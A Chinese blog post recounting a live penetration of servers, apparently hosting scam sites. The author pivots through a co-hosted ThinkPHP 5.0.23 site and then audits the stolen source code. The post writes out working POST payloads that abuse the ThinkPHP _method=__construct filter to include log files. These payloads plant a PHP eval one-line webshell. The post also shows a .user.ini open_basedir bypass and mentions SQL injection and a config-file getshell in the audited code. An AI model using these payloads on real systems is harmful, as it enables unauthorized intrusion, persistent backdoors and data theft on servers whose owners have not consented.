<返回更多

记一次实战渗透拿下源码进行审计

2020-07-24    
加入收藏

一、同IP渗透


最近朋友发了个站叫我看看,打开一看,发现是TP3.2.3开发的,

本想直接利用tp3可以直接查看runtime日志来获取他的后台账号密码的,

发现并没有开启debug模式,所以无法查看到日志信息。

记一次实战渗透拿下源码进行审计

 

随便注册了一个账号进去,看有没有注入,无果。

对这个站进行信息收集,进行同ip的反查,发现7个地址。

记一次实战渗透拿下源码进行审计

 

每个域名又是不同的源码发开的,发现一个thinkphp5.0.23的网站,可以利用rce

记一次实战渗透拿下源码进行审计

 

发现无法直接执行代码,需要利用runtime日志或者session来进行文件包含获取shell,这里利用runtime日志来进行文件包含getshell,先写入日志。

记一次实战渗透拿下源码进行审计

 

利用日志进行包含,post发送:

_method=__construct&method=get&filter[]=think__include_file&server[]=phpinfo&get[]=../runtime/log/202007/08.log&x=phpinfo();
记一次实战渗透拿下源码进行审计

 

写入shell:

_method=__construct&method=get&filter[]=think__include_file&server[]=phpinfo&get[]=../runtime/log/202007/08.log&c=fputs(fopen('x.php','w'),'<?php eval($_POST[c]);?>');
记一次实战渗透拿下源码进行审计

 

成功getshell,由于是宝塔搭建的,无法访问其他路径,这里可以在新的文件上传一个.user.ini,再在这个文件上传一个一句话,就能成功访问其他目录了,.user.ini内容为:

open=basedir=
记一次实战渗透拿下源码进行审计

 

重新尝试访问www目录,成功

记一次实战渗透拿下源码进行审计

 

这样就成功拿下主站的权限的,发现主站的代码,fofa查了下,有很多使用这套诈骗源码开发的,就下载了下来审计了下。

二、代码审计


发现前台sql注入,没有任何过滤

记一次实战渗透拿下源码进行审计

 

由于需要开启debug模式才会生效

记一次实战渗透拿下源码进行审计

 

这个诈骗源码太多注入了,就不看其他的了,全局查找file_put_contents,发现后台可以写入配置文件getshell

记一次实战渗透拿下源码进行审计

 

他明明都使用了var_export函数,却要添加一个stripslashes去掉转义符,构造如下payload

记一次实战渗透拿下源码进行审计

 

访问文件,成功写入phpinfo

记一次实战渗透拿下源码进行审计
声明:本站部分内容来自互联网,如有版权侵犯或其他问题请与我们联系,我们将立即删除或处理。
▍相关推荐
更多资讯 >>>